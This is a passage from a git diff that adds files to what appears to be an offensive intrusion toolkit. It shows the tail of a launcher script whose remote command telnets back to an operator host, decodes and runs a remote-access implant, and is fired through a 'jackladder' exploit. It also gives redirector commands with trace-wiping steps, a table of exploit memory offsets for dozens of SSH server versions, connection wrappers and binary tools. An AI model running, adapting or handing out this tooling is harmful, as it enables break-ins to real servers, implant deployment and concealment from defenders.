-d ":" -f 2` + # if that fails maybe it's on eth0 + [ "$LOCAL_IP_GUESS" ] || LOCAL_IP_GUESS=`ifconfig -a eth0 | grep inet | grep -v grep | awk '{print $2}' | cut -d ":" -f 2` + [ "$LOCAL_IP_GUESS" ] || echo "Unable to get local IP address..bailing" + [ "$LOCAL_IP_GUESS" ] || exit 1 + + if [ "$SA" ] ; then + if [ ! "$SA" = "$LOCAL_IP_GUESS" ] ; then + echo "Shouldn't SA=LOCAL_IP_GUESS? (you have +SA=$SA and the local IP appears to be +$LOCAL_IP_GUESS." + echo $MINUSN " +Hit ^C to abort and fix this or hit enter to continue +(though that would most likely not work)." + read quitans + fi + else + SA=$LOCAL_IP_GUESS + fi +fi + +echo "CommandLine: $PROG ${*}" + +REALCMD="N=/dev/null +D=$TARGETDIR +PATH=\$D:/bin:/usr/bin:/sbin:/usr/sbin:/usr/bsd +mkdir \$D +cd \$D +telnet $LOCALIP $LOCALPORT | cat > $RAT_FILE.uu +uudecode $RAT_FILE.uu +if [ ! -f $RAT_FILE.Z ]; then + telnet $LOCALIP 80 +fi +uncompress -f $RAT_FILE.Z +chmod 777 $RAT_FILE +PATH=\$D ${RAT_ARG}${RAT_FILE} +exit 0" +export REALCMD + +echo "" +echo "" +echo "CHECK SYNTAX IN REALCMD AND IN jl.command LINE BEFORE CONTINUING" +echo "" +echo "New order of arguments is: " +echo "$PROG $SYNTAX" +echo "" + +echo "REALCMD=\"$REALCMD\"" +echo "" +echo "Command about to be executed:" +echo " ./jl.command telnet $REMOTEIP $JLPORT" + +if [ "$JACKPOP" = 1 ] ; then + echo " +Using jackpop with environment variables as follows: + Redirector Address RA=$RA + Redirector Port RP=$RP + Target Address TA=$TA + Target Port TP=$TP + Listening Port on RA LP=$LP + Source Address SA=$SA + +Now, some pastables. First, the jackpop command you need to run in an +INCISION window on $RA, then the -rtun command in a NOPEN window +on the same box, and finally an rm command to wipe jackpop: " +$SETCOLOR_NOTE + echo " + chmod 700 jp&&netstat -an|grep $LP||PATH=. SA=$SA TA=$TA TP=$TP LP=$LP jp + + -rtun $LOCALPORT + + rm jp ; ls -al ; ls -al jp +" + $SETCOLOR_NORMAL +fi +echo "CHECK SYNTAX IN REALCMD AND IN jl.command LINE BEFORE CONTINUING" +echo $MINUSN "hit enter to proceed, ^C to not: " + +read junk + +#now run jackladder + +./jl.command telnet $REMOTEIP $JLPORT diff --git a/Linux/bin/swkill b/Linux/bin/swkill new file mode 100755 index 0000000..c2e2d10 --- /dev/null +++ b/Linux/bin/swkill @@ -0,0 +1,9 @@ +#!/usr/bin/env perl +$pid = 1 * $ARGV[0] ; +die "bad pid $pid" unless ($pid > 1 and $pid < 65536) ; +print " + + +ls -arlt /tmp ; kill -USR1 $pid;sleep 1;kill -USR2 $pid;sleep 1; kill -USR1 $pid;sleep 1;kill -USR2 $pid ; ls -arlt /tmp + +"; diff --git a/Linux/bin/targets b/Linux/bin/targets new file mode 100644 index 0000000..2240c7f --- /dev/null +++ b/Linux/bin/targets @@ -0,0 +1,146 @@ +---------*-------------*------------,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Small - SSH-1.5-1.2.3,0x0806d000,0x080725ec,0x0000c804,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Small - SSH-1.5-1.2,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Small - SSH-1.5-1.2.2,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Small - SSH-1.5-1.2.25,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Small - SSH-1.5-1.2.26,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Small - SSH-1.5-1.2.27,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Small - SSH-1.5-1.2.29,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Small - SSH-1.5-1.2.30,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Small - SSH-1.5-1.2.31,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Small - SSH-1.5-1.3.07,0x0807b000,0x083f1374,0x00019004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Small - SSH-1.5-1.3.6,0x00032004,0x083d503c,0x0002afc4,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Small - SSH-1.99-2.2.0p1,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Small - SSH-1.99-2.1.1,0x08210000,0x083f99b4,0x00000004,0x0000664c,0x00000000,0x08400000,0x96,0x0805,0 +Small - SSH-2.99-2.2.0p1,0x08180000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x96,0x0805,0 +---------*-------------*------------,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +xBigx - SSH-1.5-1.2.3,0x0806d000,0x080725ec,0x0000c804,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +xBigx - SSH-1.5-1.2,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +xBigx - SSH-1.5-1.2.2,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +xBigx - SSH-1.5-1.2.25,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +xBigx - SSH-1.5-1.2.26,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +xBigx - SSH-1.5-1.2.27,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +xBigx - SSH-1.5-1.2.29,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +xBigx - SSH-1.5-1.2.30,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +xBigx - SSH-1.5-1.2.31,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +xBigx - SSH-1.5-1.3.07,0x0807b000,0x083f1374,0x00019004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +xBigx - SSH-1.5-1.3.6,0x00032004,0x083d503c,0x0002afc4,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +xBigx - SSH-1.99-2.2.0p1,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +xBigx - SSH-1.99-2.1.1,0x08210000,0x083f99b4,0x00000004,0x0000664c,0x00000000,0x08400000,0x96,0x0805,0 +xBigx - SSH-2.99-2.2.0p1,0x080b0000,0x08184000,0x37f8c00c,0x4011000c,0x4011000c,0x4019000c,0x96,0x0805,1 +---------*-------------*------------,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +quick - SSH-1.5-OpenSSH-1.2,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +quick - SSH-1.5-OpenSSH-1.2.2,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +quick - SSH-1.5-OpenSSH_3.0p1,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +quick - SSH-1.5-1.2.25,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +quick - SSH-1.5-1.2.26,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +quick - SSH-1.5-1.2.27,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +quick - SSH-1.5-1.2.30,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +quick - SSH-1.5-1.2.31,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +quick - SSH-1.99-OpenSSH_2.2.0p1,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +quick - SSH-2.99-OpenSSH_2.2.0p1,0x08180000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x96,0x0805,0 +--------- - ------------------------,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +xlong - SSH-1.5-OpenSSH-1.2,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +xlong - SSH-1.5-OpenSSH-1.2.2,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +xlong - SSH-1.5-OpenSSH_3.0p1,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +xlong - SSH-1.5-1.2.25,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +xlong - SSH-1.5-1.2.26,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +xlong - SSH-1.5-1.2.27,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +xlong - SSH-1.5-1.2.30,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +xlong - SSH-1.5-1.2.31,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +xlong - SSH-1.99-OpenSSH_2.2.0p1,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +xlong - SSH-2.99-OpenSSH_2.2.0p1,0x080b0000,0x08184000,0x37f8c00c,0x4011000c,0x4011000c,0x4019000c,0x96,0x0805,1 +--------- - ------------------------,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Small - SSH-1.5-1.2.27,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Small - SSH-1.99-OpenSSH_2.2.0p1,0x08180000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x96,0x0805,0 +Big - SSH-1.99-OpenSSH_2.2.0p1,0x080b0000,0x08184000,0x37f8c00c,0x4011000c,0x4011000c,0x4019000c,0x96,0x0805,1 +Small - SSH-1.5-1.2.27,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Small - SSH-1.99-OpenSSH_2.2.0p1,0x08180000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x96,0x0805,0 +Big - SSH-1.99-OpenSSH_2.2.0p1,0x080b0000,0x08184000,0x37f8c00c,0x4011000c,0x4011000c,0x4019000c,0x96,0x0805,1 +Big - SSH-1.5-1.2.27,0x08060000,0x08184000,0x37f8c00c,0x3813000c,0x4011000c,0x4019000c,0x72,0x0805,1 +Small - SSH-1.99-OpenSSH_2.2.0p1 -TEST,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x96,0x0805,0 +Big - SSH-1.5-1.2.27,0x08060000,0x08184000,0x37f8c00c,0x3813000c,0x4000000c,0x4019000c,0x7A,0x0805,1 +Small - SSH-1.5-1.2.26,0x08080000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Small - SSH-1.5-OpenSSH-1.2.3,0x0806d000,0x080725ec,0x0000c804,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Small - SSH-1.5-1.2.31,0x08089604,0x083fa9fc,0x0000c804,0x00005604,0x00000000,0x08400000,0x7a,0x0805,0 +Small - SSH-1.5-1.3.07,0x0807b000,0x083f1374,0x00019004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Small - SSH-1.99-OpenSSH_2.1.1,0x08210000,0x083f99b4,0x00000004,0x0000664c,0x00000000,0x08400000,0x96,0x0805,0 +Small - SSH-1.5-1.3.6_F-SECURE_SSH,0x00032004,0x083d503c,0x0002afc4,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Small - by [ElectronicSouls] SSH-1.5-1.2.26,0x08080000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Small - by [ElectronicSouls] SSH-1.5-OpenSSH-1.2.3,0x0806d000,0x080725ec,0x0000c804,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Small - by [ElectronicSouls] SSH-1.5-1.2.31,0x08089604,0x083fa9fc,0x0000c804,0x00005604,0x00000000,0x08400000,0x7a,0x0805,0 +Small - by [ElectronicSouls] SSH-1.5-1.3.07,0x0807b000,0x083f1374,0x00019004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Small - by [ElectronicSouls] SSH-1.99-OpenSSH_2.1.1,0x08210000,0x083f99b4,0x00000004,0x0000664c,0x00000000,0x08400000,0x96,0x0805,0 +Small - by [ElectronicSouls] SSH-1.5-1.3.6_F-SECURE_SSH,0x00032004,0x083d503c,0x0002afc4,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Small - SSH-1.99-OpenSSH_2.2.0p1,0x080c0000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x96,0x0805,0 +Big - SSH-1.99-OpenSSH_2.2.0p1,0x080c0000,0x08184000,0x37f8c00c,0x4011000c,0x4011000c,0x4019000c,0x96,0x0805,1 +Small - SSH-1.5-1.2.26,0x08080000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Small - by [ElectronicSouls] SSH-1.5-1.2.26,0x08080000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Small - SSH-1.5-1.2.20-32,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Big - SSH-1.5-1.2.20-32,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +Small - SSH-1.5-1.3.6,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Big - SSH-1.5-1.3.6,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +Small - SSH-1.5-1.3.7,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Big - SSH-1.5-1.3.7,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +Small - SSH-1.5-1.3.8,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Big - SSH-1.5-1.3.8,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +Small - SSH-1.5-1.3.9,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Big - SSH-1.5-1.3.9,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +Small - SSH-1.5-1.3.10,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Big - SSH-1.5-1.3.10,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +Small - SSH-1.5-OpenSSH-1.2,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Big - SSH-1.5-OpenSSH-1.2,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +Small - SSH-1.5-OpenSSH-1.2.1,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Big - SSH-1.5-OpenSSH-1.2.1,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +Small - SSH-1.5-OpenSSH-1.2.2,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Big - SSH-1.5-OpenSSH-1.2.2,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +Small - SSH-1.5-OpenSSH-1.2.3,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Big - SSH-1.5-OpenSSH-1.2.3,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +Small - SSH-1.5-OpenSSH-2.1,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Big - SSH-1.5-OpenSSH-2.1,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +Small - SSH-1.99-2.0.11,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Big - SSH-1.99-2.0.11,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +Small - SSH-1.99-2.0.12,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Big - SSH-1.99-2.0.12,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +Small - SSH-1.99-2.0.13,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Big - SSH-1.99-2.0.13,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +Small - SSH-1.99-2.1.0.pl2,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Big - SSH-1.99-2.1.0.pl2,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +Small - SSH-1.99-2.1.0,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Big - SSH-1.99-2.1.0,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +Small - SSH-1.99-2.2.0,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Big - SSH-1.99-2.2.0,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +Small - SSH-1.99-2.3.0,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Big - SSH-1.99-2.3.0,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +Small - SSH-1.99-2.4.0,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Big - SSH-1.99-2.4.0,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +Small - SSH-1.99-3.0.0,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Big - SSH-1.99-3.0.0,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +Small - SSH-1.99-3.0.1,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Big - SSH-1.99-3.0.1,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +Small - SSH-1.99-OpenSSH-2.1,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Big - SSH-1.99-OpenSSH-2.1,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +Small - SSH-1.99-OpenSSH_2.1.1,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Big - SSH-1.99-OpenSSH_2.1.1,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +Small - SSH-1.99-OpenSSH_2.2.0,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Big - SSH-1.99-OpenSSH_2.2.0,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +Small - SSH-1.99-OpenSSH_2.2.0p1,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Big - SSH-1.99-OpenSSH_2.2.0p1,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +Small - SSH-1.99-OpenSSH_2.5.2p2,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Big - SSH-1.99-OpenSSH_2.5.2p2,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +Small - SSH-2.99-OpenSSH_2.2.0p1,0x080b0000,0x08184000,0x37f8c00c,0x4011000c,0x4011000c,0x4019000c,0x96,0x0805,0 +Big - SSH-2.99-OpenSSH_2.2.0p1,0x080b0000,0x08184000,0x37f8c00c,0x4011000c,0x4011000c,0x4019000c,0x96,0x0805,1 +Small - SSH-2.0-2.3.0,0x08180000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Big - SSH-2.0-2.3.0,0x08180000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +Small - SSH-2.0-2.4.0,0x08180000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Big - SSH-2.0-2.4.0,0x08180000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +Small - SSH-2.0-3.0.0,0x08180000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Big - SSH-2.0-3.0.0,0x08180000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +Small - SSH-2.0-3.0.1,0x08180000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Big - SSH-2.0-3.0.1,0x08180000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,1 +Small - Test_targets_1,0x080b0000,0x08184000,0x37f8c00c,0x4011000c,0x4011000c,0x4019000c,0x96,0x0805,1 +Big - Test_targets_1,0x080b0000,0x08184000,0x37f8c00c,0x4011000c,0x4011000c,0x4019000c,0x96,0x0805,0 +Small - Test_targets_2,0x080b0000,0x08184000,0x37f8c00c,0x4011000c,0x4011000c,0x4019000c,0x7a,0x0805,0 +Big - Test_targets_2,0x080b0000,0x08184000,0x37f8c00c,0x4011000c,0x4011000c,0x4019000c,0x7a,0x0805,1 +Small - Test_targets_3,0x08180000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x96,0x0805,0 +Big - Test_targets_3,0x08180000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x96,0x0805,1 diff --git a/Linux/bin/targets.old b/Linux/bin/targets.old new file mode 100644 index 0000000..53f5a68 --- /dev/null +++ b/Linux/bin/targets.old @@ -0,0 +1,12 @@ +Small - SSH-1.5-1.2.27,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Small - SSH-1.99-OpenSSH_2.2.0p1,0x080c0000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x96,0x0805,0 +Big - SSH-1.99-OpenSSH_2.2.0p1,0x080c0000,0x08184000,0x37f8c00c,0x4011000c,0x4011000c,0x4019000c,0x96,0x0805,1 +Big - SSH-1.5-1.2.27,0x08060000,0x08184000,0x37f8c00c,0x3813000c,0x4011000c,0x4019000c,0x72,0x0805,1 +Small - SSH-1.99-OpenSSH_2.2.0p1 -TEST,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x96,0x0805,0 +Big - SSH-1.5-1.2.27,0x08060000,0x08184000,0x37f8c00c,0x3813000c,0x4000000c,0x4019000c,0x7A,0x0805,1 +Small - SSH-1.5-1.2.26,0x8075000,0x8095000,0x37f8c00c,0x3813000c,0x2810a000,0x2818a000,0x7A,0x0805,0 +Black Cat Linux 6.2 - Small - SSH-1.5-OpenSSH-1.2.3,0x08060000,0x08144000,0x00000004,0x3813000c,0x0,0x080f3000,0x7a,0x0805,0 +Red Flag Linux 2.0 - Small - SSH-1.5-OpenSSH-2.1.1,0x08075000,0x08095000,0x00000004,0x00080000,0x401f9000,0x40279000,0x7a,0x0805,0 +Red Hat Linux 6.2 - 2.2.17 - Small - SSH-1.5-1.2.27,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Mandrake 8.1 - 2.4.8 - Small - SSH-1.5-1.2.27,0x08070000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x7a,0x0805,0 +Red Hat Linux 6.2 - 2.2.17 - Small - SSH-1.99-OpenSSH_2.2.0p1,0x080c0000,0x08184000,0x00000004,0x00010004,0x00000000,0x08400000,0x96,0x0805,0 diff --git a/Linux/bin/telex b/Linux/bin/telex new file mode 100755 index 0000000..479d769 Binary files /dev/null and b/Linux/bin/telex differ diff --git a/Linux/bin/telnet.sh b/Linux/bin/telnet.sh new file mode 100755 index 0000000..dcb1435 --- /dev/null +++ b/Linux/bin/telnet.sh @@ -0,0 +1,39 @@ +#!/bin/sh +# Wrapper script for spawn. +#v1.0.1.1 +#export SU HIDEME HIDECON LD_PRELOAD +echo -e "\n===============" +echo $0: The spawn/telnet wrapper v1.0.1.1 +echo -e "\n===============" +echo -e "\n\nENVIRONMENT:" +echo -e "env | egrep \"(RA|RP|CMD|SU|HIDE|LD_PRELOAD|NOPEN).*=\"" +env | egrep "(RA|RP|CMD|SU|HIDE|LD_PRELOAD|NOPEN).*=" +echo -e "\n===============" +unset SPAWN FTSHELL TELNETMODE FORCEDPORT +type spawn && [ ! "$NOSPAWN" ] && SPAWN=spawn +type ftshell && FTSHELL=ftshell +[ "$2" = "23" ] && [ "$3" = "" ] && TELNETMODE=telnet +BASE=`basename $0` +[ "$BASE" = "telnet" ] && [ "$2" = "23" -o "$2" = "" ] && TELNETMODE=telnet +if [ "x$SPAWN" = "x" ] ; then + [ -x /usr/bin/telnet ] && SPAWN=/usr/bin/telnet +fi +[ "$TELNETMODE" ] && [ ! "$2" ] && FORCEDPORT=23 +[ "$NOTELNETMODE" ] && unset TELNETMODE +[ "$SPAWN" = "/usr/bin/telnet" ] && unset TELNETMODE +[ "$3" = "telnet" ] && unset TELNETMODE +if [ ! "${WINTYPE:0:7}" = "JACKPOP" -a ! "$BASE" = "spawn" ] ; then + echo -e "\n\n\nWARNING: You are about to use $SPAWN as your $BASE client via:\n\n\t\t$SPAWN $* $FORCEDPORT $TELNETMODE +\n" + echo -en "\a Are you sure you want to? [N] " + read ans + [ "x$ans" = "x" -o "${ans:0:1}" = "n" -o "${ans:0:1}" = "N" ] && \ + echo -e "\n\nUse /usr/bin/telnet if you do not want spawn.\n\n" && \ + exit 1 +fi +# never mind---ftshell doesn't seem to play nice inside scripme windows +unset FTSHELL +echo -e "\n===============" +echo -e "\ndate -u\n"`date -u`"\n===============\n" +echo $0 wrapper execing: $FTSHELL $SPAWN $* $TELNETMODE +exec $FTSHELL $SPAWN $* $FORCEDPORT $TELNETMODE diff --git a/Linux/bin/tipoff b/Linux/bin/tipoff new file mode 120000 index 0000000..498f7ec --- /dev/null +++ b/Linux/bin/tipoff @@ -0,0 +1 @@ +tipoff-3.1.3.x \ No newline at end of file diff --git a/Linux/bin/tipoff-3.1.3.x b/Linux/bin/tipoff-3.1.3.x new file mode 100755 index 0000000..9750ab5 Binary files /dev/null and b/Linux/bin/tipoff-3.1.3.x differ diff --git a/Linux/bin/tipoff-3.X b/Linux/bin/tipoff-3.X new file mode 120000 index 0000000..498f7ec --- /dev/null +++ b/Linux/bin/tipoff-3.X @@ -0,0 +1 @@ +tipoff-3.1.3.x \ No newline at end of file diff --git a/Linux/bin/tipoff-4.0.1.13 b/Linux/bin/tipoff-4.0.1.13 new file mode 100755 index 0000000..0556b7a Binary files /dev/null and b/Linux/bin/tipoff-4.0.1.13 differ diff --git a/Linux/bin/tipoff-4.X b/Linux/bin/tipoff-4.X new file mode 120000 index 0000000..14ff6e4 --- /dev/null +++ b/Linux/bin/tipoff-4.X @@ -0,0 +1 @@ +tipoff-4.0.1.13 \ No newline at end of file diff --git a/Linux/bin/tipoff-BIN b/Linux/bin/tipoff-BIN new file mode 120000 index 0000000..498f7ec --- /dev/null +++ b/Linux/bin/tipoff-BIN @@ -0,0 +1 @@ +tipoff-3.1.3.x \ No newline at end of file diff --git a/Linux/bin/tipoff.junos b/Linux/bin/tipoff.junos new file mode 100755 index 0000000..b3e9262 Binary files /dev/null and b/Linux/bin/tipoff.junos differ diff --git a/Linux/bin/tipoffs.tar.bz2 b/Linux/bin/tipoffs.tar.bz2 new file mode 100644 index 0000000..ab5be04 Binary files /dev/null and b/Linux/bin/tipoffs.tar.bz2 differ diff --git a/Linux/bin/tn b/Linux/bin/tn new file mode 100755 index 0000000..9e4ab59 --- /dev/null +++ b/Linux/bin/tn @@ -0,0 +1,292 @@ +#!/usr/bin/env bash + +## +## Global variables used. +## + +## Uncomment & set keys/rootdns if you don't want to be prompted. + +#keys=TARGET +[ ${rootdns:+1} ] || rootdns=dontcare +#rootdns=localip + +PATH=$PATH:$(dirname $0):. + +cmdline=$@ + +dnslist="rs.internic.net venera.isi.edu 